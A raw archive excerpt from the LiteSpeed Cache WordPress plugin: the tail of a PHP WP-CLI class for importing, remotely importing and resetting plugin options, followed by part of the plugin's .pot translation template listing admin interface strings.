<file> * : The file to import options from. * * ## EXAMPLES * * # Import options from CURRENTDIR/options.txt * $ wp litespeed-option import options.txt * * @param array $args Positional arguments (file). * @param array $assoc_args Associative arguments. */ public function import( $args, $assoc_args ) { $file = $args[0]; global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); } if ( ! $wp_filesystem->exists( $file ) || ! $wp_filesystem->is_readable( $file ) ) { WP_CLI::error( 'File does not exist or is not readable.' ); return; } $res = $this->cls( 'Import' )->import( $file ); if ( ! $res ) { WP_CLI::error( 'Failed to parse serialized data from file.' ); return; } WP_CLI::success( 'Options imported. [File] ' . $file ); } /** * Import plugin options from a remote file. * * The file must be formatted as such: * option_key=option_value * One per line. * A semicolon at the beginning of the line indicates a comment and will be skipped. * * ## OPTIONS * * <url> * : The URL to import options from. * * ## EXAMPLES * * # Import options from https://domain.com/options.txt * $ wp litespeed-option import_remote https://domain.com/options.txt * * @param array $args Positional arguments (url). */ public function import_remote( $args ) { $file = $args[0]; $tmp_file = download_url( $file ); if ( is_wp_error( $tmp_file ) ) { WP_CLI::error( 'Failed to download file.' ); return; } $res = $this->cls( 'Import' )->import( $tmp_file ); if ( ! $res ) { WP_CLI::error( 'Failed to parse serialized data from file.' ); return; } WP_CLI::success( 'Options imported. [File] ' . $file ); } /** * Reset all options to default. * * ## EXAMPLES * * # Reset all options * $ wp litespeed-option reset */ public function reset() { $this->cls( 'Import' )->reset(); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lang/litespeed-cache.pot����������������������������������������������������0000644�����������������00000460544�15233526476�0015762 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Copyright (C) 2025 LiteSpeed Technologies # This file is distributed under the GPLv3. msgid "" msgstr "" "Project-Id-Version: LiteSpeed Cache 7.7\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/litespeed-cache\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <LL@li.org>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2025-12-16T16:53:20+00:00\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "X-Generator: WP-CLI 2.11.0\n" "X-Domain: litespeed-cache\n" #. Plugin Name of the plugin #: litespeed-cache.php #: tpl/banner/new_version.php:57 #: tpl/banner/new_version_dev.tpl.php:21 #: tpl/cache/more_settings_tip.tpl.php:28 #: tpl/esi_widget_edit.php:41 #: tpl/inc/admin_footer.php:17 msgid "LiteSpeed Cache" msgstr "" #. Plugin URI of the plugin #: litespeed-cache.php msgid "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration" msgstr "" #. Description of the plugin #: litespeed-cache.php msgid "High-performance page caching and site optimization from LiteSpeed" msgstr "" #. Author of the plugin #: litespeed-cache.php msgid "LiteSpeed Technologies" msgstr "" #. Author URI of the plugin #: litespeed-cache.php msgid "https://www.litespeedtech.com" msgstr "" #: cli/crawler.cls.php:89 #: tpl/crawler/summary.tpl.php:39 msgid "%d hours" msgstr "" #: cli/crawler.cls.php:91 #: tpl/crawler/summary.tpl.php:39 msgid "%d hour" msgstr "" #: cli/crawler.cls.php:98 #: tpl/crawler/summary.tpl.php:47 msgid "%d minutes" msgstr "" #: cli/crawler.cls.php:100 #: tpl/crawler/summary.tpl.php:47 msgid "%d minute" msgstr "" #: cli/purge.cls.php:86 msgid "Purged All!" msgstr "" #: cli/purge.cls.php:133 msgid "Purged the blog!" msgstr "" #: cli/purge.cls.php:182 msgid "Purged the URL!" msgstr "" #: cli/purge.cls.php:234 msgid "Purged!" msgstr "" #: src/activation.cls.php:561 #: src/activation.cls.php:566 msgid "Failed to upgrade." msgstr "" #: src/activation.cls.php:570 msgid "Upgraded successfully." msgstr "" #: src/admin-display.cls.php:251 #: tpl/dash/entry.tpl.php:16 msgid "Dashboard" msgstr "" #: src/admin-display.cls.php:252 #: src/lang.cls.php:287 msgid "OptimaX" msgstr "" #: src/admin-display.cls.php:253 msgid "Presets" msgstr "" #: src/admin-display.cls.php:254 msgid "General" msgstr "" #: src/admin-display.cls.php:255 #: tpl/cache/entry.tpl.php:17 #: tpl/cache/entry.tpl.php:66 msgid "Cache" msgstr "" #: src/admin-display.cls.php:256 msgid "CDN" msgstr "" #: src/admin-display.cls.php:257 #: src/gui.cls.php:895 #: tpl/dash/dashboard.tpl.php:204 #: tpl/dash/network_dash.tpl.php:36 #: tpl/general/online.tpl.php:75 #: tpl/general/online.tpl.php:134 #: tpl/general/online.tpl.php:149 #: tpl/presets/standard.tpl.php:32 msgid "Image Optimization" msgstr "" #: src/admin-display.cls.php:258 #: tpl/dash/dashboard.tpl.php:205 #: tpl/dash/network_dash.tpl.php:37 #: tpl/general/online.tpl.php:83 #: tpl/general/online.tpl.php:133 #: tpl/general/online.tpl.php:148 msgid "Page Optimization" msgstr "" #: src/admin-display.cls.php:259 msgid "Database" msgstr "" #: src/admin-display.cls.php:260 #: src/lang.cls.php:267 msgid "Crawler" msgstr "" #: src/admin-display.cls.php:261 msgid "Toolbox" msgstr "" #: src/admin-display.cls.php:455 msgid "Cookie Name" msgstr "" #: src/admin-display.cls.php:456 #: tpl/crawler/settings.tpl.php:179 msgid "Cookie Values" msgstr "" #: src/admin-display.cls.php:458 msgid "Remove cookie simulation" msgstr "" #: src/admin-display.cls.php:459 msgid "Add new cookie to simulate" msgstr "" #: src/admin-display.cls.php:482 msgid "CDN URL to be used. For example, %s" msgstr "" #: src/admin-display.cls.php:484 msgid "Remove CDN URL" msgstr "" #: src/admin-display.cls.php:485 msgid "Add new CDN URL" msgstr "" #: src/admin-display.cls.php:486 #: src/admin-display.cls.php:1167 #: src/admin-display.cls.php:1197 #: src/admin-display.cls.php:1284 #: src/doc.cls.php:41 #: tpl/cache/settings-cache.tpl.php:28 #: tpl/cache/settings_inc.cache_mobile.tpl.php:91 #: tpl/cdn/other.tpl.php:45 #: tpl/crawler/settings.tpl.php:138 #: tpl/dash/dashboard.tpl.php:67 #: tpl/dash/dashboard.tpl.php:460 #: tpl/dash/dashboard.tpl.php:582 #: tpl/dash/dashboard.tpl.php:611 #: tpl/page_optm/settings_css.tpl.php:220 #: tpl/page_optm/settings_media.tpl.php:176 #: tpl/toolbox/settings-debug.tpl.php:80 msgid "ON" msgstr "" #: src/admin-display.cls.php:487 #: src/admin-display.cls.php:1168 #: src/admin-display.cls.php:1197 #: src/admin-display.cls.php:1284 #: tpl/cache/settings-cache.tpl.php:28 #: tpl/cache/settings_inc.object.tpl.php:280 #: tpl/cdn/other.tpl.php:53 #: tpl/dash/dashboard.tpl.php:69 #: tpl/dash/dashboard.tpl.php:462 #: tpl/dash/dashboard.tpl.php:584 #: tpl/dash/dashboard.tpl.php:613 #: tpl/img_optm/settings.media_webp.tpl.php:22 #: tpl/page_optm/settings_css.tpl.php:93 #: tpl/page_optm/settings_js.tpl.php:77 #: tpl/page_optm/settings_media.tpl.php:180 #: tpl/toolbox/settings-debug.tpl.php:80 msgid "OFF" msgstr "" #: src/admin-display.cls.php:548 #: src/gui.cls.php:884 #: tpl/crawler/entry.tpl.php:17 msgid "Settings" msgstr "" #: src/admin-display.cls.php:805 #: tpl/banner/new_version.php:114 #: tpl/banner/score.php:142 #: tpl/banner/slack.php:49 msgid "Dismiss" msgstr "" #: src/admin-display.cls.php:998 #: src/admin-display.cls.php:1003 msgid "Save Changes" msgstr "" #: src/admin-display.cls.php:1298 msgid "This value is overwritten by the %s variable." msgstr "" #: src/admin-display.cls.php:1302 #: src/admin-display.cls.php:1315 msgid "This value is overwritten by the filter." msgstr "" #: src/admin-display.cls.php:1305 msgid "This value is overwritten by the PHP constant %s." msgstr "" #: src/admin-display.cls.php:1309 msgid "This value is overwritten by the primary site setting." msgstr "" #: src/admin-display.cls.php:1311 msgid "This value is overwritten by the Network setting." msgstr "" #: src/admin-display.cls.php:1318 msgid "Currently set to %s" msgstr "" #: src/admin-display.cls.php:1331 msgid "Value from filter applied" msgstr "" #: src/admin-display.cls.php:1345 #: tpl/cache/settings_inc.object.tpl.php:162 #: tpl/crawler/settings.tpl.php:43 #: tpl/esi_widget_edit.php:78 msgid "seconds" msgstr "" #: src/admin-display.cls.php:1371 #: src/admin-display.cls.php:1390 #: tpl/cdn/other.tpl.php:108 msgid "Default value" msgstr "" #: src/admin-display.cls.php:1418 msgid "Invalid rewrite rule" msgstr "" #: src/admin-display.cls.php:1438 msgid "Path must end with %s" msgstr "" #: src/admin-display.cls.php:1458 msgid "Minimum value" msgstr "" #: src/admin-display.cls.php:1461 msgid "Maximum value" msgstr "" #: src/admin-display.cls.php:1473 msgid "Zero, or" msgstr "" #: src/admin-display.cls.php:1479 msgid "Larger than" msgstr "" #: src/admin-display.cls.php:1481 msgid "Smaller than" msgstr "" #: src/admin-display.cls.php:1484 msgid "Value range" msgstr "" #: src/admin-display.cls.php:1512 msgid "Invalid IP" msgstr "" #: src/admin-display.cls.php:1532 #: tpl/cache/settings-esi.tpl.php:103 #: tpl/page_optm/settings_css.tpl.php:87 #: tpl/page_optm/settings_css.tpl.php:223 #: tpl/page_optm/settings_html.tpl.php:131 #: tpl/page_optm/settings_media.tpl.php:258 #: tpl/page_optm/settings_media_exc.tpl.php:36 #: tpl/page_optm/settings_tuning.tpl.php:48 #: tpl/page_optm/settings_tuning.tpl.php:68 #: tpl/page_optm/settings_tuning.tpl.php:89 #: tpl/page_optm/settings_tuning.tpl.php:110 #: tpl/page_optm/settings_tuning.tpl.php:129 #: tpl/page_optm/settings_tuning_css.tpl.php:35 #: tpl/page_optm/settings_tuning_css.tpl.php:96 #: tpl/page_optm/settings_tuning_css.tpl.php:99 #: tpl/page_optm/settings_tuning_css.tpl.php:100 #: tpl/toolbox/edit_htaccess.tpl.php:61 #: tpl/toolbox/edit_htaccess.tpl.php:79 msgid "API" msgstr "" #. translators: %s: list of server variables in <code> tags #: src/admin-display.cls.php:1535 msgid "Server variable(s) %s available to override this setting." msgstr "" #: src/admin-display.cls.php:1551 msgid "The URLs will be compared to the REQUEST_URI server variable." msgstr "" #. translators: 1: example URL, 2: pattern example #: src/admin-display.cls.php:1553 msgid "For example, for %1$s, %2$s can be used here." msgstr "" #. translators: %s: caret symbol #: src/admin-display.cls.php:1556 msgid "To match the beginning, add %s to the beginning of the item." msgstr "" #. translators: %s: dollar symbol #: src/admin-display.cls.php:1558 msgid "To do an exact match, add %s to the end of the URL." msgstr "" #: src/admin-display.cls.php:1559 #: src/doc.cls.php:128 msgid "One per line." msgstr "" #: src/admin-display.cls.php:1576 msgid "%s groups" msgstr "" #: src/admin-display.cls.php:1579 msgid "%s images" msgstr "" #: src/admin-display.cls.php:1588 msgid "%s group" msgstr "" #: src/admin-display.cls.php:1591 msgid "%s image" msgstr "" #: src/admin-settings.cls.php:40 #: src/admin-settings.cls.php:313 msgid "No fields" msgstr "" #: src/admin-settings.cls.php:104 msgid "The user with id %s has editor access, which is not allowed for the role simulator." msgstr "" #: src/admin-settings.cls.php:297 #: src/admin-settings.cls.php:333 msgid "Options saved." msgstr "" #: src/cdn/cloudflare.cls.php:121 msgid "Notified Cloudflare to set development mode to %s successfully." msgstr "" #: src/cdn/cloudflare.cls.php:151 msgid "Cloudflare API is set to off." msgstr "" #: src/cdn/cloudflare.cls.php:167 msgid "Notified Cloudflare to purge all successfully." msgstr "" #: src/cdn/cloudflare.cls.php:181 msgid "No available Cloudflare zone" msgstr "" #: src/cdn/cloudflare.cls.php:275 #: src/cdn/cloudflare.cls.php:297 msgid "Failed to communicate with Cloudflare" msgstr "" #: src/cdn/cloudflare.cls.php:288 msgid "Communicated with Cloudflare successfully." msgstr "" #: src/cloud.cls.php:246 #: src/cloud.cls.php:331 msgid "QUIC.cloud's access to your WP REST API seems to be blocked." msgstr "" #: src/cloud.cls.php:256 #: src/cloud.cls.php:341 msgid "Failed to get echo data from WPAPI" msgstr "" #: src/cloud.cls.php:319 #: src/cloud.cls.php:376 msgid "You need to set the %1$s first. Please use the command %2$s to set." msgstr "" #: src/cloud.cls.php:320 #: src/cloud.cls.php:377 #: src/lang.cls.php:106 msgid "Server IP" msgstr "" #: src/cloud.cls.php:368 #: src/cloud.cls.php:414 #: src/cloud.cls.php:441 #: src/cloud.cls.php:460 #: src/cloud.cls.php:481 #: src/cloud.cls.php:499 msgid "You need to activate QC first." msgstr "" #: src/cloud.cls.php:386 msgid "Cert or key file does not exist." msgstr "" #: src/cloud.cls.php:676 msgid "Failed to validate %s activation data." msgstr "" #: src/cloud.cls.php:683 msgid "Failed to parse %s activation status." msgstr "" #: src/cloud.cls.php:690 msgid "%s activation data expired." msgstr "" #: src/cloud.cls.php:718 msgid "Congratulations, %s successfully set this domain up for the anonymous online services." msgstr "" #: src/cloud.cls.php:720 msgid "Congratulations, %s successfully set this domain up for the online services." msgstr "" #: src/cloud.cls.php:725 #: src/cloud.cls.php:775 #: src/cloud.cls.php:818 msgid "Congratulations, %s successfully set this domain up for the online services with CDN service." msgstr "" #: src/cloud.cls.php:846 msgid "Reset %s activation successfully." msgstr "" #: src/cloud.cls.php:1131 #: src/cloud.cls.php:1144 #: src/cloud.cls.php:1182 #: src/cloud.cls.php:1250 #: src/cloud.cls.php:1408 msgid "Cloud Error" msgstr "" #: src/cloud.cls.php:1182 msgid "No available Cloud Node after checked server load." msgstr "" #: src/cloud.cls.php:1250 msgid "No available Cloud Node." msgstr "" #: src/cloud.cls.php:1362 msgid "In order to use QC services, need a real domain name, cannot use an IP." msgstr "" #: src/cloud.cls.php:1411 msgid "Please try after %1$s for service %2$s." msgstr "" #: src/cloud.cls.php:1633 #: src/cloud.cls.php:1656 msgid "Failed to request via WordPress" msgstr "" #: src/cloud.cls.php:1688 msgid "Cloud server refused the current request due to unpulled images. Please pull the images first." msgstr "" #: src/cloud.cls.php:1693 msgid "Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more." msgstr "" #: src/cloud.cls.php:1700 msgid "Cloud server refused the current request due to rate limiting. Please try again later." msgstr "" #: src/cloud.cls.php:1708 msgid "Redetected node" msgstr "" #: src/cloud.cls.php:1716 msgid "We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience." msgstr "" #: src/cloud.cls.php:1767 #: src/cloud.cls.php:1775 msgid "Message from QUIC.cloud server" msgstr "" #: src/cloud.cls.php:1783 msgid "Good news from QUIC.cloud server" msgstr "" #: src/cloud.cls.php:1792 msgid "%1$s plugin version %2$s required for this action." msgstr "" #: src/cloud.cls.php:1859 msgid "Failed to communicate with QUIC.cloud server" msgstr "" #: src/cloud.cls.php:1918 msgid "Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account." msgstr "" #: src/cloud.cls.php:1919 msgid "Click here to proceed." msgstr "" #: src/cloud.cls.php:2220 msgid "Linked to QUIC.cloud preview environment, for testing purpose only." msgstr "" #: src/cloud.cls.php:2276 msgid "Sync QUIC.cloud status successfully." msgstr "" #: src/cloud.cls.php:2283 msgid "Sync credit allowance with Cloud Server successfully." msgstr "" #: src/conf.cls.php:551 msgid "Saving option failed. IPv4 only for %s." msgstr "" #: src/conf.cls.php:742 msgid "Changed setting successfully." msgstr "" #: src/core.cls.php:333 msgid "Notified LiteSpeed Web Server to purge everything." msgstr "" #: src/core.cls.php:338 msgid "Notified LiteSpeed Web Server to purge the list." msgstr "" #: src/crawler-map.cls.php:347 msgid "Sitemap cleaned successfully" msgstr "" #: src/crawler-map.cls.php:451 msgid "No valid sitemap parsed for crawler." msgstr "" #: src/crawler-map.cls.php:456 msgid "Sitemap created successfully: %d items" msgstr "" #: src/crawler.cls.php:229 msgid "Crawler disabled list is cleared! All crawlers are set to active! " msgstr "" #: src/crawler.cls.php:324 msgid "Started async crawling" msgstr "" #: src/crawler.cls.php:1310 msgid "Guest" msgstr "" #: src/crawler.cls.php:1487 msgid "Manually added to blocklist" msgstr "" #: src/crawler.cls.php:1490 msgid "Previously existed in blocklist" msgstr "" #. translators: %s: time string #: src/data.cls.php:239 msgid "The database has been upgrading in the background since %s. This message will disappear once upgrade is complete." msgstr "" #: src/db-optm.cls.php:190 msgid "Clean all successfully." msgstr "" #: src/db-optm.cls.php:252 msgid "Clean post revisions successfully." msgstr "" #: src/db-optm.cls.php:257 msgid "Clean orphaned post meta successfully." msgstr "" #: src/db-optm.cls.php:262 msgid "Clean auto drafts successfully." msgstr "" #: src/db-optm.cls.php:267 msgid "Clean trashed posts and pages successfully." msgstr "" #: src/db-optm.cls.php:272 msgid "Clean spam comments successfully." msgstr "" #: src/db-optm.cls.php:277 msgid "Clean trashed comments successfully." msgstr "" #: src/db-optm.cls.php:282 msgid "Clean trackbacks and pingbacks successfully." msgstr "" #: src/db-optm.cls.php:310 msgid "Clean expired transients successfully." msgstr "" #: src/db-optm.cls.php:320 msgid "Clean all transients successfully." msgstr "" #: src/db-optm.cls.php:336 msgid "Optimized all tables." msgstr "" #: src/db-optm.cls.php:399 msgid "Converted to InnoDB successfully." msgstr "" #: src/doc.cls.php:40 msgid "This setting is %1$s for certain qualifying requests due to %2$s!" msgstr "" #: src/doc.cls.php:57 msgid "This setting will regenerate crawler list and clear the disabled list!" msgstr "" #: src/doc.cls.php:69 msgid "This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily." msgstr "" #. translators: %s: QUIC.cloud privacy policy URL #: src/doc.cls.php:76 msgid "Please see %s for more details." msgstr "" #: src/doc.cls.php:101 #: tpl/dash/dashboard.tpl.php:187 #: tpl/dash/dashboard.tpl.php:846 #: tpl/general/online.tpl.php:81 #: tpl/general/online.tpl.php:93 #: tpl/general/online.tpl.php:109 #: tpl/general/online.tpl.php:114 #: tpl/img_optm/summary.tpl.php:59 #: tpl/inc/check_cache_disabled.php:46 #: tpl/page_optm/settings_media.tpl.php:301 msgid "Learn More" msgstr "" #: src/doc.cls.php:145 msgid "Both full and partial strings can be used." msgstr "" #: src/doc.cls.php:147 msgid "Both full URLs and partial strings can be used." msgstr "" #: src/doc.cls.php:159 msgid "This setting will edit the .htaccess file." msgstr "" #: src/doc.cls.php:177 msgid "The queue is processed asynchronously. It may take time." msgstr "" #: src/error.cls.php:68 msgid "You will need to finish %s setup to use the online services." msgstr "" #: src/error.cls.php:73 #: tpl/crawler/settings.tpl.php:123 #: tpl/crawler/settings.tpl.php:144 #: tpl/crawler/summary.tpl.php:218 msgid "Click here to set." msgstr "" #: src/error.cls.php:81 msgid "You have used all of your daily quota for today." msgstr "" #: src/error.cls.php:86 #: src/error.cls.php:99 msgid "Learn more or purchase additional quota." msgstr "" #: src/error.cls.php:94 msgid "You have used all of your quota left for current service this month." msgstr "" #: src/error.cls.php:107 msgid "You have too many requested images, please try again in a few minutes." msgstr "" #: src/error.cls.php:111 msgid "You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now." msgstr "" #: src/error.cls.php:115 msgid "The image list is empty." msgstr "" #: src/error.cls.php:119 msgid "Not enough parameters. Please check if the QUIC.cloud connection is set correctly" msgstr "" #: src/error.cls.php:123 msgid "There is proceeding queue not pulled yet." msgstr "" #: src/error.cls.php:128 msgid "There is proceeding queue not pulled yet. Queue info: %s." msgstr "" #: src/error.cls.php:134 msgid "The site is not a valid alias on QUIC.cloud." msgstr "" #: src/error.cls.php:138 msgid "The site is not registered on QUIC.cloud." msgstr "" #: src/error.cls.php:142 msgid "The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again." msgstr "" #: src/error.cls.php:146 msgid "The current server is under heavy load." msgstr "" #: src/error.cls.php:150 msgid "Online node needs to be redetected." msgstr "" #: src/error.cls.php:154 msgid "Credits are not enough to proceed the current request." msgstr "" #: src/error.cls.php:158 #: src/error.cls.php:182 msgid "%s file not writable." msgstr "" #: src/error.cls.php:166 msgid "Could not find %1$s in %2$s." msgstr "" #: src/error.cls.php:170 msgid "Invalid login cookie. Please check the %s file." msgstr "" #: src/error.cls.php:174 msgid "Failed to back up %s file, aborted changes." msgstr "" #: src/error.cls.php:178 msgid "%s file not readable." msgstr "" #: src/error.cls.php:186 msgid "Failed to get %s file contents." msgstr "" #: src/error.cls.php:190 msgid "Failed to create table %1$s! SQL: %2$s." msgstr "" #: src/error.cls.php:194 msgid "Crawler disabled by the server admin." msgstr "" #: src/error.cls.php:198 msgid "Previous request too recent. Please try again later." msgstr "" #: src/error.cls.php:203 msgid "Previous request too recent. Please try again after %s." msgstr "" #: src/error.cls.php:209 msgid "Your application is waiting for approval." msgstr "" #: src/error.cls.php:213 msgid "The callback validation to your domain failed due to hash mismatch." msgstr "" #: src/error.cls.php:217 msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers." msgstr "" #: src/error.cls.php:222 msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: " msgstr "" #: src/error.cls.php:227 msgid "Your domain has been forbidden from using our services due to a previous policy violation." msgstr "" #: src/error.cls.php:231 msgid "You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible." msgstr "" #: src/error.cls.php:238 msgid "Unknown error" msgstr "" #: src/file.cls.php:133 msgid "Filename is empty!" msgstr "" #: src/file.cls.php:142 msgid "Folder does not exist: %s" msgstr "" #: src/file.cls.php:154 msgid "Can not create folder: %1$s. Error: %2$s" msgstr "" #: src/file.cls.php:162 msgid "Folder is not writable: %s." msgstr "" #: src/file.cls.php:168 #: src/file.cls.php:172 msgid "File %s is not writable." msgstr "" #: src/file.cls.php:179 msgid "Failed to write to %s." msgstr "" #: src/guest.cls.php:65 msgid "Guest Mode lists synced successfully." msgstr "" #: src/guest.cls.php:66 msgid "Failed to sync Guest Mode lists." msgstr "" #. translators: 1: number, 2: text #: src/gui.cls.php:129 msgid "%1$s %2$s files left in queue" msgstr "" #: src/gui.cls.php:133 #: tpl/inc/modal.deactivation.php:77 msgid "Cancel" msgstr "" #: src/gui.cls.php:584 #: src/gui.cls.php:601 msgid "Purge this page" msgstr "" #: src/gui.cls.php:612 msgid "Mark this page as " msgstr "" #: src/gui.cls.php:628 msgid "Forced cacheable" msgstr "" #: src/gui.cls.php:641 msgid "Non cacheable" msgstr "" #: src/gui.cls.php:654 msgid "Private cache" msgstr "" #: src/gui.cls.php:667 msgid "No optimization" msgstr "" #: src/gui.cls.php:677 msgid "More settings" msgstr "" #: src/gui.cls.php:686 #: src/gui.cls.php:696 #: src/gui.cls.php:706 #: src/gui.cls.php:717 #: src/gui.cls.php:729 #: src/gui.cls.php:741 #: src/gui.cls.php:753 #: src/gui.cls.php:765 #: src/gui.cls.php:776 #: src/gui.cls.php:788 #: src/gui.cls.php:800 #: src/gui.cls.php:812 #: src/gui.cls.php:906 #: src/gui.cls.php:916 #: src/gui.cls.php:926 #: src/gui.cls.php:937 #: src/gui.cls.php:949 #: src/gui.cls.php:961 #: src/gui.cls.php:973 #: src/gui.cls.php:985 #: src/gui.cls.php:996 #: src/gui.cls.php:1008 #: src/gui.cls.php:1020 #: src/gui.cls.php:1032 #: tpl/page_optm/settings_media.tpl.php:141 #: tpl/toolbox/purge.tpl.php:40 #: tpl/toolbox/purge.tpl.php:47 #: tpl/toolbox/purge.tpl.php:55 #: tpl/toolbox/purge.tpl.php:64 #: tpl/toolbox/purge.tpl.php:73 #: tpl/toolbox/purge.tpl.php:82 #: tpl/toolbox/purge.tpl.php:91 #: tpl/toolbox/purge.tpl.php:100 #: tpl/toolbox/purge.tpl.php:109 #: tpl/toolbox/purge.tpl.php:118 #: tpl/toolbox/purge.tpl.php:126 msgid "Purge All" msgstr "" #: src/gui.cls.php:696 #: src/gui.cls.php:861 #: src/gui.cls.php:916 msgid "LSCache" msgstr "" #: src/gui.cls.php:706 #: src/gui.cls.php:926 #: tpl/toolbox/purge.tpl.php:47 msgid "CSS/JS Cache" msgstr "" #: src/gui.cls.php:717 #: src/gui.cls.php:937 #: tpl/cdn/cf.tpl.php:96 #: tpl/cdn/entry.tpl.php:15 msgid "Cloudflare" msgstr "" #: src/gui.cls.php:729 #: src/gui.cls.php:949 #: src/lang.cls.php:131 #: tpl/dash/dashboard.tpl.php:60 #: tpl/dash/dashboard.tpl.php:604 #: tpl/toolbox/purge.tpl.php:55 msgid "Object Cache" msgstr "" #: src/gui.cls.php:741 #: src/gui.cls.php:961 #: tpl/toolbox/purge.tpl.php:64 msgid "Opcode Cache" msgstr "" #: src/gui.cls.php:776 #: src/gui.cls.php:996 #: tpl/toolbox/purge.tpl.php:91 msgid "Localized Resources" msgstr "" #: src/gui.cls.php:788 #: src/gui.cls.php:1008 #: tpl/page_optm/settings_media.tpl.php:141 #: tpl/toolbox/purge.tpl.php:100 msgid "LQIP Cache" msgstr "" #: src/gui.cls.php:812 #: src/gui.cls.php:1032 #: src/lang.cls.php:198 #: tpl/presets/standard.tpl.php:49 #: tpl/toolbox/purge.tpl.php:118 msgid "Gravatar Cache" msgstr "" #: src/gui.cls.php:850 msgid "Enable All Features" msgstr "" #: src/gui.cls.php:861 msgid "LiteSpeed Cache Purge All" msgstr "" #: src/gui.cls.php:874 #: tpl/db_optm/entry.tpl.php:13 msgid "Manage" msgstr "" #: src/gui.cls.php:1055 #: tpl/img_optm/summary.tpl.php:176 msgid "Remove all previous unfinished image optimization requests." msgstr "" #: src/gui.cls.php:1056 #: tpl/img_optm/summary.tpl.php:178 msgid "Clean Up Unfinished Data" msgstr "" #: src/gui.cls.php:1079 msgid "Install %s" msgstr "" #: src/gui.cls.php:1080 msgid "Install Now" msgstr "" #. translators: 1: details URL, 2: class/aria, 3: version, 4: update URL, 5: class/aria #: src/gui.cls.php:1103 msgid "<a href=\"%1$s\" %2$s>View version %3$s details</a> or <a href=\"%4$s\" %5$s target=\"_blank\">update now</a>." msgstr "" #. translators: 1: plugin title, 2: version #: src/gui.cls.php:1110 msgid "View %1$s version %2$s details" msgstr "" #. translators: %s: plugin title #: src/gui.cls.php:1123 msgid "Update %s now" msgstr "" #: src/htaccess.cls.php:325 msgid "Mobile Agent Rules" msgstr "" #: src/htaccess.cls.php:784 msgid "<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s" msgstr "" #: src/img-optm.cls.php:350 msgid "Pushed %1$s to Cloud server, accepted %2$s." msgstr "" #: src/img-optm.cls.php:618 msgid "Cleared %1$s invalid images." msgstr "" #: src/img-optm.cls.php:675 msgid "No valid image found in the current request." msgstr "" #: src/img-optm.cls.php:700 msgid "No valid image found by Cloud server in the current request." msgstr "" #: src/img-optm.cls.php:890 msgid "Started async image optimization request" msgstr "" #: src/img-optm.cls.php:976 msgid "Pull Cron is running" msgstr "" #: src/img-optm.cls.php:1087 msgid "Some optimized image file(s) has expired and was cleared." msgstr "" #: src/img-optm.cls.php:1102 msgid "Pulled WebP image md5 does not match the notified WebP image md5." msgstr "" #: src/img-optm.cls.php:1131 msgid "Pulled AVIF image md5 does not match the notified AVIF image md5." msgstr "" #: src/img-optm.cls.php:1166 msgid "One or more pulled images does not match with the notified image md5" msgstr "" #: src/img-optm.cls.php:1361 msgid "Cleaned up unfinished data successfully." msgstr "" #: src/img-optm.cls.php:1378 msgid "Reset image optimization counter successfully." msgstr "" #: src/img-optm.cls.php:1462 msgid "Destroy all optimization data successfully." msgstr "" #: src/img-optm.cls.php:1527 #: src/img-optm.cls.php:1591 msgid "Rescanned successfully." msgstr "" #: src/img-optm.cls.php:1591 msgid "Rescanned %d images successfully." msgstr "" #: src/img-optm.cls.php:1657 msgid "Calculated backups successfully." msgstr "" #: src/img-optm.cls.php:1749 msgid "Removed backups successfully." msgstr "" #: src/img-optm.cls.php:1896 msgid "Switched images successfully." msgstr "" #: src/img-optm.cls.php:1993 #: src/img-optm.cls.php:2053 msgid "Switched to optimized file successfully." msgstr "" #: src/img-optm.cls.php:2012 msgid "Disabled WebP file successfully." msgstr "" #: src/img-optm.cls.php:2017 msgid "Enabled WebP file successfully." msgstr "" #: src/img-optm.cls.php:2026 msgid "Disabled AVIF file successfully." msgstr "" #: src/img-optm.cls.php:2031 msgid "Enabled AVIF file successfully." msgstr "" #: src/img-optm.cls.php:2047 msgid "Restored original file successfully." msgstr "" #: src/img-optm.cls.php:2103 msgid "Reset the optimized data successfully." msgstr "" #: src/import.cls.php:81 msgid "Import failed due to file error." msgstr "" #: src/import.cls.php:134 msgid "Imported setting file %s successfully." msgstr "" #: src/import.cls.php:156 msgid "Reset successfully." msgstr "" #: src/lang.cls.php:30 msgid "Images not requested" msgstr "" #: src/lang.cls.php:31 msgid "Images ready to request" msgstr "" #: src/lang.cls.php:32 #: tpl/dash/dashboard.tpl.php:552 msgid "Images requested" msgstr "" #: src/lang.cls.php:33 #: tpl/dash/dashboard.tpl.php:561 msgid "Images notified to pull" msgstr "" #: src/lang.cls.php:34 msgid "Images optimized and pulled" msgstr "" #: src/lang.cls.php:58 msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict." msgstr "" #: src/lang.cls.php:66 msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain." msgstr "" #: src/lang.cls.php:71 msgid "Alias is in use by another QUIC.cloud account." msgstr "" #: src/lang.cls.php:108 msgid "Enable Cache" msgstr "" #: src/lang.cls.php:109 #: tpl/dash/dashboard.tpl.php:61 